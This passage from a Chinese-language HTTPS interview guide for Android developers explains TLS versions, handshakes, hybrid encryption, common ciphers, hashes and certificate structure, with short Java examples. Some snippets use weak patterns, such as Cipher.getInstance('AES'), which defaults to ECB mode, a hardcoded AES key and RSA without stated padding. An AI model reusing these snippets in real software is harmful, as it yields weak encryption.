- SSL:Secure Sockets Layer
- TLS:Transport Layer Security
对比表:
| 特性 | SSL | TLS |
|---|---|---|
| 版本 | SSL 1.0-3.0 | TLS 1.0-1.3 |
| 状态 | 已废弃 | 当前标准 |
| 安全性 | 不安全 | 安全 |
| 使用 | 不推荐 | 推荐 |
| 关系 | 旧协议 | SSL的后续版本 |
详细说明:
-
SSL
- SSL 1.0:未发布
- SSL 2.0:已废弃(不安全)
- SSL 3.0:已废弃(不安全,POODLE攻击)
-
TLS
- TLS 1.0:已废弃(不安全)
- TLS 1.1:已废弃(不安全)
- TLS 1.2:当前标准(推荐)
- TLS 1.3:最新版本(推荐)
最佳实践:
- 不使用SSL
- 使用TLS 1.2+
- 禁用SSL 2.0/3.0
- 禁用TLS 1.0/1.1
Android代码示例:
// 使用TLS,而不是SSL
SSLContext sslContext = SSLContext.getInstance("TLS");
// 获取TLS实现,不是SSL
// 配置TLS版本
SSLContext sslContext = SSLContext.getInstance("TLSv1.2");
// 使用TLS 1.2
10.11 TLS的版本有哪些?
答案:
TLS的版本:
-
TLS 1.0
- 已废弃(不安全)
- 不推荐使用
-
TLS 1.1
- 已废弃(不安全)
- 不推荐使用
-
TLS 1.2
- 当前标准(推荐)
- 广泛使用
- 安全性好
-
TLS 1.3
- 最新版本(推荐)
- 性能更好
- 安全性更好
TLS版本对比:
| 版本 | 状态 | 安全性 | 性能 | 使用 |
|---|---|---|---|---|
| TLS 1.0 | 已废弃 | 不安全 | 一般 | 不推荐 |
| TLS 1.1 | 已废弃 | 不安全 | 一般 | 不推荐 |
| TLS 1.2 | 当前标准 | 安全 | 好 | 推荐 |
| TLS 1.3 | 最新版本 | 更安全 | 更好 | 推荐 |
Android代码示例:
// TLS 1.2(推荐)
SSLContext sslContext = SSLContext.getInstance("TLSv1.2");
// TLS 1.3(最新,如果支持)
SSLContext sslContext = SSLContext.getInstance("TLSv1.3");
// 默认TLS(通常是1.2)
SSLContext sslContext = SSLContext.getInstance("TLS");
最佳实践:
- 使用TLS 1.2+
- 优先使用TLS 1.3
- 禁用TLS 1.0/1.1
- 检查TLS版本支持
10.12 TLS 1.0、1.1、1.2、1.3的区别是什么?
答案:
TLS 1.0、1.1、1.2、1.3的主要区别:
-
安全性
- TLS 1.0/1.1:已废弃,不安全
- TLS 1.2:安全
- TLS 1.3:更安全
-
性能
- TLS 1.0/1.1:一般
- TLS 1.2:好
- TLS 1.3:更好(握手更快)
-
加密算法
- TLS 1.0/1.1:旧算法(不安全)
- TLS 1.2:现代算法(AES、SHA-256)
- TLS 1.3:最新算法(AES-GCM、ChaCha20)
-
握手过程
- TLS 1.0/1.1:完整握手
- TLS 1.2:完整握手
- TLS 1.3:简化握手(1-RTT)
对比表:
| 特性 | TLS 1.0 | TLS 1.1 | TLS 1.2 | TLS 1.3 |
|---|---|---|---|---|
| 状态 | 已废弃 | 已废弃 | 当前标准 | 最新版本 |
| 安全性 | 不安全 | 不安全 | 安全 | 更安全 |
| 性能 | 一般 | 一般 | 好 | 更好 |
| 握手次数 | 2-RTT | 2-RTT | 2-RTT | 1-RTT |
| 加密算法 | 旧 | 旧 | 现代 | 最新 |
| 使用 | 不推荐 | 不推荐 | 推荐 | 推荐 |
详细说明:
-
TLS 1.0/1.1(已废弃)
- 安全性差
- 存在已知漏洞
- 不推荐使用
-
TLS 1.2(当前标准)
- 安全性好
- 广泛使用
- 推荐使用
-
TLS 1.3(最新版本)
- 安全性更好
- 性能更好(1-RTT握手)
- 推荐使用(如果支持)
Android代码示例:
// TLS 1.2(推荐)
SSLContext sslContext = SSLContext.getInstance("TLSv1.2");
// TLS 1.3(最新,如果支持)
SSLContext sslContext = SSLContext.getInstance("TLSv1.3");
// 检查TLS版本支持
SSLContext sslContext = SSLContext.getDefault();
SSLParameters params = sslContext.getDefaultSSLParameters();
String[] protocols = params.getProtocols();
// 检查支持的TLS版本
最佳实践:
- 使用TLS 1.2+
- 优先使用TLS 1.3
- 禁用TLS 1.0/1.1
- 检查版本支持
10.13 为什么SSL被TLS取代?
答案:
SSL被TLS取代的原因:
-
安全性
- SSL存在已知漏洞
- SSL 2.0/3.0不安全
- TLS更安全
-
标准化
- SSL是Netscape的专有协议
- TLS是IETF标准协议
- 更开放、更标准
-
性能
- TLS性能更好
- 优化更好
- 更高效
-
维护
- SSL不再维护
- TLS持续更新
- 更好的支持
详细说明:
-
安全性问题
- SSL 2.0:存在已知漏洞,已废弃
- SSL 3.0:存在POODLE攻击,已废弃
- TLS:更安全,持续更新
-
标准化
- SSL:Netscape专有协议
- TLS:IETF标准(RFC 2246等)
- 更开放、更标准
-
维护和支持
- SSL:不再维护
- TLS:持续更新(TLS 1.2、1.3)
- 更好的支持
最佳实践:
- 不使用SSL
- 使用TLS 1.2+
- 禁用SSL 2.0/3.0
- 使用现代TLS版本
Android代码示例:
// 不使用SSL
// SSLContext.getInstance("SSL"); // 不推荐
// 使用TLS
SSLContext sslContext = SSLContext.getInstance("TLS");
// 使用TLS实现
10.14 HTTPS的握手过程是什么?
答案:
HTTPS的握手过程(SSL/TLS握手):
TLS 1.2握手过程(2-RTT):
-
客户端Hello
客户端 → 服务器: - TLS版本 - 支持的加密套件 - 客户端随机数 - 支持的压缩方法 -
服务器Hello + 证书
服务器 → 客户端: - 选择的TLS版本 - 选择的加密套件 - 服务器随机数 - 服务器证书(包含公钥) - 服务器Hello Done -
证书验证
客户端: - 验证证书(CA、有效期等) - 提取服务器公钥 -
客户端密钥交换
客户端 → 服务器: - 使用服务器公钥加密的对称密钥 - Change Cipher Spec - Finished -
服务器确认
服务器 → 客户端: - Change Cipher Spec - Finished -
完成握手
双方: - 生成会话密钥 - 开始加密通信
TLS 1.3握手过程(1-RTT):
-
客户端Hello
客户端 → 服务器: - TLS 1.3版本 - 支持的加密套件 - 客户端随机数 - 密钥共享(Key Share) -
服务器Hello + Finished
服务器 → 客户端: - 选择的TLS版本 - 选择的加密套件 - 服务器随机数 - 密钥共享(Key Share) - 证书 - Finished -
完成握手
客户端: - 验证证书 - 生成会话密钥 - 发送Finished 双方: - 开始加密通信
握手过程对比:
| 特性 | TLS 1.2 | TLS 1.3 |
|---|---|---|
| 握手次数 | 2-RTT | 1-RTT |
| 时间 | ~200-300ms | ~100-150ms |
| 步骤 | 5步 | 2步 |
| 性能 | 好 | 更好 |
Android代码示例:
// HTTPS握手(自动处理)
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// SSL/TLS自动处理握手
// 1. 客户端Hello
// 2. 服务器Hello + 证书
// 3. 证书验证
// 4. 密钥交换
// 5. 完成握手
conn.connect(); // 握手完成
握手目的:
- 协商加密算法
- 交换密钥
- 验证身份
- 建立安全连接
10.15 TLS握手需要几次往返?
答案:
TLS握手需要的往返次数取决于TLS版本:
-
TLS 1.2
- 2次往返(2-RTT)
- 客户端Hello → 服务器Hello + 证书
- 客户端密钥交换 → 服务器确认
-
TLS 1.3
- 1次往返(1-RTT)
- 客户端Hello → 服务器Hello + Finished
- 优化后的握手
往返次数对比:
| TLS版本 | 往返次数 | 时间 |
|---|---|---|
| TLS 1.2 | 2-RTT | ~200-300ms |
| TLS 1.3 | 1-RTT | ~100-150ms |
详细说明:
-
TLS 1.2(2-RTT)
往返1: 客户端 → 服务器:客户端Hello 服务器 → 客户端:服务器Hello + 证书 往返2: 客户端 → 服务器:客户端密钥交换 服务器 → 客户端:服务器确认 -
TLS 1.3(1-RTT)
往返1: 客户端 → 服务器:客户端Hello(包含密钥共享) 服务器 → 客户端:服务器Hello + 证书 + Finished 客户端:验证证书,发送Finished
Android代码示例:
// TLS握手(自动处理)
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// TLS 1.2:2-RTT(约200-300ms)
// TLS 1.3:1-RTT(约100-150ms)
conn.connect(); // 握手完成
性能优化:
- 使用TLS 1.3(1-RTT)
- 使用会话复用(0-RTT,如果支持)
- 减少握手时间
最佳实践:
- 使用TLS 1.3(1-RTT)
- 使用会话复用
- 优化握手性能
第十一章:HTTPS 加密机制(20 题)
11.1 对称加密和非对称加密的区别是什么?
答案:
对称加密和非对称加密的主要区别:
-
密钥使用
- 对称加密:使用相同的密钥加密和解密
- 非对称加密:使用公钥加密,私钥解密(或私钥签名,公钥验证)
-
密钥数量
- 对称加密:1个密钥(共享密钥)
- 非对称加密:2个密钥(公钥和私钥)
-
性能
- 对称加密:快,适合大量数据
- 非对称加密:慢,适合少量数据(如密钥交换)
-
安全性
- 对称加密:密钥需要安全传输
- 非对称加密:公钥可以公开,私钥保密
对比表:
| 特性 | 对称加密 | 非对称加密 |
|---|---|---|
| 密钥数量 | 1个 | 2个(公钥+私钥) |
| 密钥使用 | 相同密钥 | 公钥加密/私钥解密 |
| 性能 | 快 | 慢 |
| 适用场景 | 大量数据 | 少量数据(密钥交换) |
| 密钥传输 | 需要安全传输 | 公钥可公开 |
| 算法示例 | AES、DES | RSA、ECC |
示例:
对称加密(AES):
// 使用相同的密钥加密和解密
String key = "1234567890123456"; // 16字节密钥
String data = "Hello World";
// 加密
byte[] encrypted = AES.encrypt(data, key);
// 解密
String decrypted = AES.decrypt(encrypted, key);
非对称加密(RSA):
// 生成密钥对
KeyPair keyPair = RSA.generateKeyPair();
PublicKey publicKey = keyPair.getPublic();
PrivateKey privateKey = keyPair.getPrivate();
// 使用公钥加密
byte[] encrypted = RSA.encrypt(data, publicKey);
// 使用私钥解密
String decrypted = RSA.decrypt(encrypted, privateKey);
在HTTPS中的应用:
- 非对称加密:交换对称加密密钥(握手阶段)
- 对称加密:加密实际数据(数据传输阶段)
- 混合加密:结合两者优势
11.2 对称加密的优缺点是什么?
答案:
对称加密的优缺点:
优点:
-
性能好
- 加密/解密速度快
- 适合大量数据
- CPU消耗低
-
实现简单
- 算法简单
- 实现容易
- 代码简洁
-
资源消耗低
- 内存消耗低
- CPU消耗低
- 适合移动设备
缺点:
-
密钥管理困难
- 密钥需要安全传输
- 密钥分发困难
- 密钥存储困难
-
安全性依赖密钥
- 密钥泄露会破坏安全性
- 需要安全传输密钥
- 密钥管理复杂
-
密钥数量多
- 每个通信对需要不同密钥
- 密钥数量随通信对数量增加
- 密钥管理复杂
使用场景:
- 大量数据加密
- 数据传输加密
- 文件加密
- 数据库加密
HTTPS中的应用:
- 用于加密实际数据
- 密钥通过非对称加密安全交换
- 性能好,适合大量数据
11.3 非对称加密的优缺点是什么?
答案:
非对称加密的优缺点:
优点:
-
安全性好
- 公钥可以公开
- 私钥保密即可
- 密钥分发容易
-
密钥管理简单
- 公钥可以公开分发
- 私钥只需自己保管
- 密钥数量少
-
支持数字签名
- 私钥签名
- 公钥验证
- 身份验证和完整性
缺点:
-
性能差
- 加密/解密速度慢
- 不适合大量数据
- CPU消耗高
-
实现复杂
- 算法复杂
- 实现困难
- 代码复杂
-
资源消耗高
- 内存消耗高
- CPU消耗高
- 不适合低性能设备
使用场景:
- 密钥交换
- 数字签名
- 身份验证
- 少量数据加密
HTTPS中的应用:
- 用于交换对称加密密钥
- 用于身份验证(证书)
- 用于数字签名
- 不用于加密大量数据
11.4 HTTPS使用哪种加密方式?
答案:
HTTPS使用混合加密(Hybrid Encryption),结合对称加密和非对称加密。
HTTPS加密方式:
-
握手阶段(非对称加密)
- 使用非对称加密(RSA/ECC)
- 交换对称加密密钥
- 验证服务器身份(证书)
-
数据传输阶段(对称加密)
- 使用对称加密(AES)
- 加密实际数据
- 性能好
混合加密流程:
握手阶段(非对称加密):
客户端 → 服务器:使用服务器公钥加密对称密钥
服务器:使用私钥解密对称密钥
双方:获得相同的对称密钥
数据传输阶段(对称加密):
客户端 → 服务器:使用对称密钥加密数据
服务器 → 客户端:使用对称密钥加密数据
为什么使用混合加密?
-
非对称加密的问题
- 性能差,不适合大量数据
- 如果只用非对称加密,性能无法接受
-
对称加密的问题
- 密钥需要安全传输
- 如果只用对称加密,密钥传输不安全
-
混合加密的优势
- 非对称加密:安全交换密钥
- 对称加密:高效加密数据
- 结合两者优势
Android代码示例:
// HTTPS自动处理混合加密
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// SSL/TLS自动处理:
// 1. 握手(非对称加密交换密钥)
// 2. 数据传输(对称加密)
// 代码层面无需关心加密细节
总结:
- HTTPS使用混合加密
- 非对称加密:交换密钥
- 对称加密:加密数据
- 兼顾安全性和性能
11.5 混合加密是什么?
答案:
混合加密(Hybrid Encryption)是结合对称加密和非对称加密的加密方式。
混合加密原理:
-
非对称加密部分
- 使用非对称加密(RSA/ECC)
- 交换对称加密密钥
- 安全传输密钥
-
对称加密部分
- 使用对称加密(AES)
- 加密实际数据
- 高效加密数据
混合加密流程:
步骤1:密钥交换(非对称加密)
客户端生成对称密钥
客户端使用服务器公钥加密对称密钥
客户端发送加密的对称密钥给服务器
服务器使用私钥解密对称密钥
双方获得相同的对称密钥
步骤2:数据加密(对称加密)
客户端使用对称密钥加密数据
客户端发送加密数据给服务器
服务器使用对称密钥解密数据
服务器使用对称密钥加密响应
服务器发送加密响应给客户端
客户端使用对称密钥解密响应
混合加密优势:
-
安全性
- 非对称加密保证密钥安全传输
- 对称加密保证数据安全传输
-
性能
- 非对称加密只用于密钥交换(少量数据)
- 对称加密用于数据加密(大量数据)
- 性能好
-
实用性
- 兼顾安全性和性能
- 实际应用中广泛使用
- HTTPS、SSH等都使用混合加密
Android代码示例:
// HTTPS使用混合加密(自动处理)
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// SSL/TLS自动处理混合加密
// 1. 握手阶段:非对称加密交换密钥
// 2. 数据传输阶段:对称加密加密数据
conn.connect();
总结:
- 混合加密 = 非对称加密(密钥交换) + 对称加密(数据加密)
- 兼顾安全性和性能
- HTTPS使用混合加密
11.6 混合加密的优势是什么?
答案:
混合加密的优势:
-
兼顾安全性和性能
- 非对称加密:安全交换密钥
- 对称加密:高效加密数据
- 结合两者优势
-
安全性好
- 非对称加密保证密钥安全传输
- 对称加密保证数据安全传输
- 整体安全性高
-
性能好
- 非对称加密只用于密钥交换(少量数据,开销可接受)
- 对称加密用于数据加密(大量数据,性能好)
- 整体性能好
-
实用性高
- 实际应用中广泛使用
- HTTPS、SSH、VPN等都使用
- 成熟可靠
对比:
| 特性 | 只用非对称加密 | 只用对称加密 | 混合加密 |
|---|---|---|---|
| 安全性 | 好 | 差(密钥传输不安全) | 好 |
| 性能 | 差 | 好 | 好 |
| 密钥管理 | 简单 | 复杂 | 简单 |
| 实用性 | 低 | 低 | 高 |
总结:
- 混合加密兼顾安全性和性能
- 实际应用中广泛使用
- HTTPS使用混合加密
11.7 常见的对称加密算法有哪些?
答案:
常见的对称加密算法:
-
AES(Advanced Encryption Standard)
- 当前标准
- 安全性好
- 性能好
- 推荐使用
-
DES(Data Encryption Standard)
- 已废弃
- 安全性差(密钥长度56位)
- 不推荐使用
-
3DES(Triple DES)
- DES的三次加密
- 安全性一般
- 性能差
- 不推荐使用
-
ChaCha20
- 现代算法
- 性能好
- 安全性好
- 推荐使用
算法对比:
| 算法 | 密钥长度 | 安全性 | 性能 | 使用 |
|---|---|---|---|---|
| AES | 128/192/256位 | 高 | 好 | 推荐 |
| DES | 56位 | 低 | 一般 | 不推荐 |
| 3DES | 112/168位 | 中 | 差 | 不推荐 |
| ChaCha20 | 256位 | 高 | 好 | 推荐 |
Android代码示例:
// AES加密
Cipher cipher = Cipher.getInstance("AES");
SecretKeySpec keySpec = new SecretKeySpec(key, "AES");
cipher.init(Cipher.ENCRYPT_MODE, keySpec);
byte[] encrypted = cipher.doFinal(data);
最佳实践:
- 使用AES-256(推荐)
- 使用ChaCha20(备选)
- 不使用DES/3DES
- 使用现代加密算法
11.8 AES加密的原理是什么?
答案:
AES(Advanced Encryption Standard)加密的原理:
-
基本概念
- 分组密码算法
- 分组长度:128位(16字节)
- 密钥长度:128/192/256位
-
加密过程
- 将数据分成128位块
- 对每个块进行加密
- 使用轮函数(Round Function)
-
轮函数
- SubBytes:字节替换
- ShiftRows:行移位
- MixColumns:列混合
- AddRoundKey:轮密钥加
加密流程:
明文 → 初始轮密钥加 → 轮函数(N-1次) → 最终轮 → 密文
AES参数:
| 密钥长度 | 轮数 |
|---|---|
| 128位 | 10轮 |
| 192位 | 12轮 |
| 256位 | 14轮 |
Android代码示例:
// AES-256加密
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec keySpec = new SecretKeySpec(key, "AES"); // 256位密钥
IvParameterSpec ivSpec = new IvParameterSpec(iv);
cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
byte[] encrypted = cipher.doFinal(data);
AES特点:
- 安全性好
- 性能好
- 当前标准
- 广泛使用
最佳实践:
- 使用AES-256
- 使用CBC或GCM模式
- 使用随机IV
- 使用PKCS5Padding
11.9 DES加密的原理是什么?
答案:
DES(Data Encryption Standard)加密的原理:
-
基本概念
- 分组密码算法
- 分组长度:64位(8字节)
- 密钥长度:56位(实际64位,8位校验)
-
加密过程
- 将数据分成64位块
- 对每个块进行加密
- 使用Feistel结构
-
DES状态
- 已废弃
- 安全性差(密钥长度太短)
- 不推荐使用
DES问题:
- 密钥长度太短(56位)
- 容易被暴力破解
- 已不再安全
Android代码示例:
// DES(不推荐使用)
Cipher cipher = Cipher.getInstance("DES");
SecretKeySpec keySpec = new SecretKeySpec(key, "DES");
cipher.init(Cipher.ENCRYPT_MODE, keySpec);
byte[] encrypted = cipher.doFinal(data);
最佳实践:
- 不使用DES
- 使用AES替代
- 使用现代加密算法
11.10 3DES加密的原理是什么?
答案:
3DES(Triple DES)加密的原理:
-
基本概念
- DES的三次加密
- 使用2或3个DES密钥
- 提高安全性
-
加密过程
- 加密-解密-加密(EDE)
- 或加密-加密-加密(EEE)
-
3DES状态
- 已废弃
- 性能差(三次DES运算)
- 不推荐使用
3DES问题:
- 性能差(三次DES运算)
- 安全性一般
- 已不推荐使用
最佳实践:
- 不使用3DES
- 使用AES替代
- 使用现代加密算法
11.11 AES、DES、3DES的区别是什么?
答案:
AES、DES、3DES的主要区别:
-
密钥长度
- AES:128/192/256位
- DES:56位
- 3DES:112/168位
-
安全性
- AES:高
- DES:低(已废弃)
- 3DES:中(已废弃)
-
性能
- AES:好
- DES:一般
- 3DES:差(三次DES运算)
-
使用状态
- AES:当前标准,推荐使用
- DES:已废弃,不推荐使用
- 3DES:已废弃,不推荐使用
对比表:
| 特性 | AES | DES | 3DES |
|---|---|---|---|
| 密钥长度 | 128/192/256位 | 56位 | 112/168位 |
| 安全性 | 高 | 低 | 中 |
| 性能 | 好 | 一般 | 差 |
| 状态 | 推荐使用 | 已废弃 | 已废弃 |
最佳实践:
- 使用AES-256
- 不使用DES/3DES
- 使用现代加密算法
11.12 常见的非对称加密算法有哪些?
答案:
常见的非对称加密算法:
-
RSA(Rivest-Shamir-Adleman)
- 最常用
- 安全性好
- 性能一般
- 广泛应用
-
ECC(Elliptic Curve Cryptography)
- 现代算法
- 安全性好
- 性能好(密钥短)
- 推荐使用
-
Diffie-Hellman(DH)
- 密钥交换算法
- 不用于加密
- 用于密钥协商
算法对比:
| 算法 | 密钥长度 | 安全性 | 性能 | 使用 |
|---|---|---|---|---|
| RSA-2048 | 2048位 | 高 | 一般 | 常用 |
| RSA-4096 | 4096位 | 很高 | 差 | 不常用 |
| ECC-256 | 256位 | 高 | 好 | 推荐 |
| ECC-384 | 384位 | 很高 | 好 | 推荐 |
Android代码示例:
// RSA加密
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
keyGen.initialize(2048);
KeyPair keyPair = keyGen.generateKeyPair();
PublicKey publicKey = keyPair.getPublic();
PrivateKey privateKey = keyPair.getPrivate();
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(Cipher.ENCRYPT_MODE, publicKey);
byte[] encrypted = cipher.doFinal(data);
最佳实践:
- 使用ECC-256(推荐,性能好)
- 使用RSA-2048(兼容性好)
- 不使用RSA-1024(不安全)
- 使用现代加密算法
11.13 RSA加密的原理是什么?
答案:
RSA加密的原理基于大数分解的数学难题。
RSA原理:
-
密钥生成
- 选择两个大质数p和q
- 计算n = p × q
- 计算φ(n) = (p-1) × (q-1)
- 选择公钥指数e(与φ(n)互质)
- 计算私钥指数d(e × d ≡ 1 mod φ(n))
- 公钥:(n, e)
- 私钥:(n, d)
-
加密过程
- 明文m(m < n)
- 密文c = m^e mod n
-
解密过程
- 密文c
- 明文m = c^d mod n
RSA安全性:
- 基于大数分解难题
- 密钥长度越长越安全
- RSA-2048:当前标准
- RSA-1024:已不安全
RSA特点:
- 安全性好
- 性能一般(密钥长)
- 兼容性好
- 广泛应用
最佳实践:
- 使用RSA-2048+
- 不使用RSA-1024
- 考虑使用ECC(性能更好)
11.14 RSA加密的优缺点是什么?
答案:
RSA加密的优缺点:
优点:
-
安全性好
- 基于大数分解难题
- 密钥长度足够时安全性高
- 广泛应用
-
兼容性好
- 支持广泛
- 大多数系统支持
- 成熟可靠
-
功能完整
- 加密/解密
- 数字签名
- 密钥交换
缺点:
-
性能差
- 密钥长(2048位)
- 加密/解密慢
- CPU消耗高
-
密钥长度长
- RSA-2048:2048位
- RSA-4096:4096位
- 比ECC长得多
-
不适合大量数据
- 加密速度慢
- 不适合加密大量数据
- 主要用于密钥交换
使用场景:
- 密钥交换
- 数字签名
- 身份验证
- 少量数据加密
HTTPS中的应用:
- 用于交换对称加密密钥
- 用于数字签名(证书)
- 不用于加密大量数据
最佳实践:
- 使用RSA-2048+
- 用于密钥交换和签名
- 考虑使用ECC(性能更好)
11.15 ECC加密的原理是什么?
答案:
ECC(Elliptic Curve Cryptography)加密的原理基于椭圆曲线离散对数难题。
ECC原理:
-
椭圆曲线
- 椭圆曲线方程:y² = x³ + ax + b
- 椭圆曲线上的点
- 点加法运算
-
密钥生成
- 选择椭圆曲线和基点G
- 选择私钥d(随机数)
- 计算公钥Q = d × G
- 公钥:Q
- 私钥:d
-
加密过程
- 选择随机数k
- 计算C1 = k × G
- 计算C2 = M + k × Q
- 密文:(C1, C2)
-
解密过程
- 计算M = C2 - d × C1
- 得到明文M
ECC优势:
- 密钥短(256位)
- 性能好
- 安全性高
- 现代算法
ECC vs RSA:
| 特性 | RSA-2048 | ECC-256 |
|---|---|---|
| 密钥长度 | 2048位 | 256位 |
| 安全性 | 高 | 高(等价RSA-3072) |
| 性能 | 一般 | 好 |
| 使用 | 常用 | 推荐 |
最佳实践:
- 使用ECC-256(推荐)
- 性能好,安全性高
- 现代TLS推荐使用
11.16 RSA和ECC的区别是什么?
答案:
RSA和ECC的主要区别:
-
密钥长度
- RSA:长(2048位)
- ECC:短(256位)
-
性能
- RSA:一般(密钥长,运算慢)
- ECC:好(密钥短,运算快)
-
安全性
- RSA-2048:高
- ECC-256:高(等价RSA-3072)
-
兼容性
- RSA:兼容性好(广泛支持)
- ECC:兼容性一般(需要支持)
-
使用场景
- RSA:兼容性要求高的场景
- ECC:性能要求高的场景(推荐)
对比表:
| 特性 | RSA-2048 | ECC-256 |
|---|---|---|
| 密钥长度 | 2048位 | 256位 |
| 安全性 | 高 | 高(等价RSA-3072) |
| 性能 | 一般 | 好 |
| 兼容性 | 好 | 一般 |
| 使用 | 常用 | 推荐 |
最佳实践:
- 优先使用ECC-256(性能好)
- 需要兼容性时使用RSA-2048
- 现代TLS推荐使用ECC
11.17 哈希算法的作用是什么?
答案:
哈希算法(Hash Algorithm)的作用:
-
数据完整性验证
- 生成数据摘要
- 验证数据是否被篡改
- 保证数据完整性
-
数字签名
- 对哈希值签名
- 验证签名
- 保证身份和完整性
-
密码存储
- 存储密码哈希
- 不存储明文密码
- 提高安全性
-
快速查找
- 哈希表
- 快速定位数据
- 提高性能
哈希算法特点:
- 单向性:无法从哈希值恢复原数据
- 确定性:相同输入产生相同输出
- 雪崩效应:输入微小变化导致输出巨大变化
- 抗碰撞性:很难找到两个不同的输入产生相同的哈希值
在HTTPS中的作用:
- 生成MAC(消息认证码)
- 数字签名
- 证书签名
- 保证数据完整性
Android代码示例:
// SHA-256哈希
MessageDigest md = MessageDigest.getInstance("SHA-256");
byte[] hash = md.digest(data);
String hashString = bytesToHex(hash);
最佳实践:
- 使用SHA-256+
- 不使用MD5/SHA-1(不安全)
- 用于数据完整性验证
11.18 常见的哈希算法有哪些?
答案:
常见的哈希算法:
-
SHA-256(Secure Hash Algorithm 256)
- 当前标准
- 安全性好
- 推荐使用
-
SHA-384(Secure Hash Algorithm 384)
- 安全性好
- 哈希长度384位
- 推荐使用
-
SHA-512(Secure Hash Algorithm 512)
- 安全性好
- 哈希长度512位
- 推荐使用
-
SHA-1(Secure Hash Algorithm 1)
- 已废弃
- 安全性差
- 不推荐使用
-
MD5(Message Digest 5)
- 已废弃
- 安全性差
- 不推荐使用
算法对比:
| 算法 | 哈希长度 | 安全性 | 使用 |
|---|---|---|---|
| MD5 | 128位 | 低(已破解) | 不推荐 |
| SHA-1 | 160位 | 低(已破解) | 不推荐 |
| SHA-256 | 256位 | 高 | 推荐 |
| SHA-384 | 384位 | 高 | 推荐 |
| SHA-512 | 512位 | 高 | 推荐 |
最佳实践:
- 使用SHA-256+
- 不使用MD5/SHA-1
- 使用现代哈希算法
11.19 MD5、SHA-1、SHA-256的区别是什么?
答案:
MD5、SHA-1、SHA-256的主要区别:
-
哈希长度
- MD5:128位
- SHA-1:160位
- SHA-256:256位
-
安全性
- MD5:低(已破解)
- SHA-1:低(已破解)
- SHA-256:高(当前安全)
-
使用状态
- MD5:已废弃,不推荐使用
- SHA-1:已废弃,不推荐使用
- SHA-256:当前标准,推荐使用
-
性能
- MD5:快(但已不安全)
- SHA-1:快(但已不安全)
- SHA-256:稍慢(但安全)
对比表:
| 特性 | MD5 | SHA-1 | SHA-256 |
|---|---|---|---|
| 哈希长度 | 128位 | 160位 | 256位 |
| 安全性 | 低(已破解) | 低(已破解) | 高 |
| 性能 | 快 | 快 | 稍慢 |
| 状态 | 已废弃 | 已废弃 | 推荐使用 |
最佳实践:
- 使用SHA-256+
- 不使用MD5/SHA-1
- 使用现代哈希算法
11.20 哈希算法在HTTPS中的作用是什么?
答案:
哈希算法在HTTPS中的作用:
-
MAC(消息认证码)
- 生成消息摘要
- 验证数据完整性
- 防止数据被篡改
-
数字签名
- 对证书哈希值签名
- 验证证书真实性
- 保证证书完整性
-
密钥派生
- 从主密钥派生会话密钥
- 生成各种密钥材料
- 保证密钥安全性
-
完整性校验
- 验证传输数据完整性
- 检测数据是否被篡改
- 保证数据安全
HTTPS中使用场景:
-
TLS握手
- 证书签名验证
- 密钥交换验证
- 握手完整性
-
数据传输
- 生成MAC
- 验证数据完整性
- 防止数据被篡改
-
证书验证
- 证书签名验证
- 证书链验证
- 保证证书真实性
Android代码示例:
// HTTPS中哈希算法自动使用
// SSL/TLS自动处理:
// 1. 证书签名验证(SHA-256)
// 2. MAC生成(HMAC-SHA256)
// 3. 完整性校验
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// SSL/TLS自动使用哈希算法
最佳实践:
- HTTPS使用SHA-256+
- 不使用MD5/SHA-1
- 使用现代哈希算法
- 保证数据完整性
第十二章:HTTPS 证书(15 题)
12.1 HTTPS证书的作用是什么?
答案:
HTTPS证书(数字证书)的作用:
-
身份验证
- 验证服务器身份
- 证明服务器是合法的
- 防止中间人攻击
-
公钥分发
- 包含服务器公钥
- 客户端使用公钥加密数据
- 安全交换密钥
-
建立信任
- 由CA(证书颁发机构)签名
- 建立信任链
- 用户信任CA,从而信任服务器
-
数据完整性
- 证书包含数字签名
- 验证证书未被篡改
- 保证证书完整性
证书在HTTPS中的作用:
- 握手阶段:服务器发送证书给客户端
- 客户端验证证书:检查CA、有效期等
- 提取公钥:从证书中提取服务器公钥
- 建立信任:通过证书建立安全连接
Android代码示例:
// HTTPS自动验证证书
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection conn = (HttpsURLConnection) httpsUrl.openConnection();
// SSL/TLS自动处理证书验证
// 1. 接收服务器证书
// 2. 验证证书(CA、有效期等)
// 3. 提取公钥
// 4. 建立安全连接
总结:
- 证书用于身份验证
- 证书包含服务器公钥
- 证书由CA签名
- 证书建立信任链
12.2 数字证书的结构是什么?
答案:
数字证书的结构(X.509标准):
-
版本号(Version)
- 证书版本(v1、v2、v3)
-
序列号(Serial Number)
- 证书唯一标识
-
签名算法(Signature Algorithm)
- 证书签名使用的算法
- 例如:SHA256withRSA
-
颁发者(Issuer)
- CA信息
- CA名称、国家等
-
有效期(Validity)
- 生效时间(Not Before)
- 过期时间(Not After)
-
主体(Subject)
- 证书持有者信息
- 域名、组织等
-
公钥信息(Subject Public Key Info)
- 公钥算法
- 公钥数据
-
扩展(Extensions)
- 扩展信息
- 例如:SAN(Subject Alternative Name)
-
签名(Signature)
- CA对证书的签名
- 验证证书真实性
证书结构示例:
Certificate:
Version: 3
Serial Number: 1234567890
Signature Algorithm: SHA256withRSA
Issuer: CN=Let's Encrypt, O=Let's Encrypt
Validity:
Not Before: 2024-01-01
Not After: 2024-04-01
Subject: CN=www.example.com
Subject Public Key Info:
Algorithm: RSA
Public Key: [公钥数据]
Extensions:
Subject Alternative Name: www.example.com, example.com
Signature: [CA签名]
Android代码示例:
// 读取证书信息
HttpsURLConnection conn = (HttpsURLConnection) url.openConnection();
Certificate[] certificates = conn.getServerCertificates();
X509Certificate cert = (X509Certificate) certificates[0];
// 获取证书信息
String subject = cert.getSubjectDN().getName();
String issuer = cert.getIssuerDN().getName();
Date notBefore = cert.getNotBefore();
Date notAfter = cert.getNotAfter();
